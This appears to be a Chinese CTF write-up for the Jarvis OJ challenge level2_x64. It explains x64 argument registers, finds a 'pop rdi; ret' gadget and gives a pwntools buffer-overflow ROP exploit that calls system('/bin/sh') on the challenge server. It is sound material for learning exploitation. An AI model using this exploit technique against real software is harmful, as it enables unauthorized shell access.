Jarvis OJ---level2_x64

level2_x64和level2大体上都一样,唯一的区别就是一个是64位的,一个是32位的,在做这题之前我们需要了解一点x86和x64的相关知识。

x86的参数都保存在栈上面,但是x64中有些不同,x64的前6个参数依次保存在RDI、RSI、RDX、RCX、R8和R9之中,如果还有更多的参数的话参会保存在栈上

level2_x64也是开启了NX的,所以我们没有办法直接插入shellcode,但是程序之中一样调用了system函数,还有参数binsh,所以我们可以通过hijack方法直接跳转到system函数之中。

image.png
image.png

我们刚刚也知道了x64位的参数是先保存在六个特殊的寄存器之中,之后才存放在栈中,所以如果我们要将参数binsh传给system,我们必须要构建一个简单的gadget,在这个gadget之中调用了寄存器RDI。

ROPgadget --binary level2_x64 --only "pop|rdi|ret"
image.png

最后我们便可以进行攻击了

from pwn import *
from time import *
debug = False
local = False
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib32/libc.so.6')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./level2_x64')
else:
    p = remote('pwn2.jarvisoj.com',9882)

system = 0x04004C0
binsh = 0x0600A90
popret = 0x00000000004006b3
p.recvuntil("Input:\n")
payload = 'a'*(0x80+8)  +p64(popret)  + p64(binsh)+ p64(system)
p.sendline(payload)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 最近在学蒸米的《一步一步学ROP之linux_x86篇》,内容写的很详细,个人学到了很多,但同时学的过程中也有很多...
    2mpossible阅读 5,414评论 0 5
  • 0x00 前言 Pwn弱鸡,比赛划水,只好跟着大佬的博客刷刷一些题目才能维持尊严,在刷题目的时候又发现了一些新姿势...
    Fish_o0O阅读 5,447评论 0 6
  • 翻译自:http://llvm.org/docs/LangRef.html#######重启翻译 摘要 这篇文档是...
    呆萌院长阅读 13,129评论 5 4
  • 周一,二学习海报合成,周三,四学习AI。周五学习c4d。周末休息
    嘎滴滴阅读 1,514评论 0 0
  • chatpage web应用 由于上班时就坐在领导眼皮底下,玩手机不方便,而网页版的聊天软件如微信甚至有道云笔记都...
    蚂蚁不排队阅读 4,247评论 0 0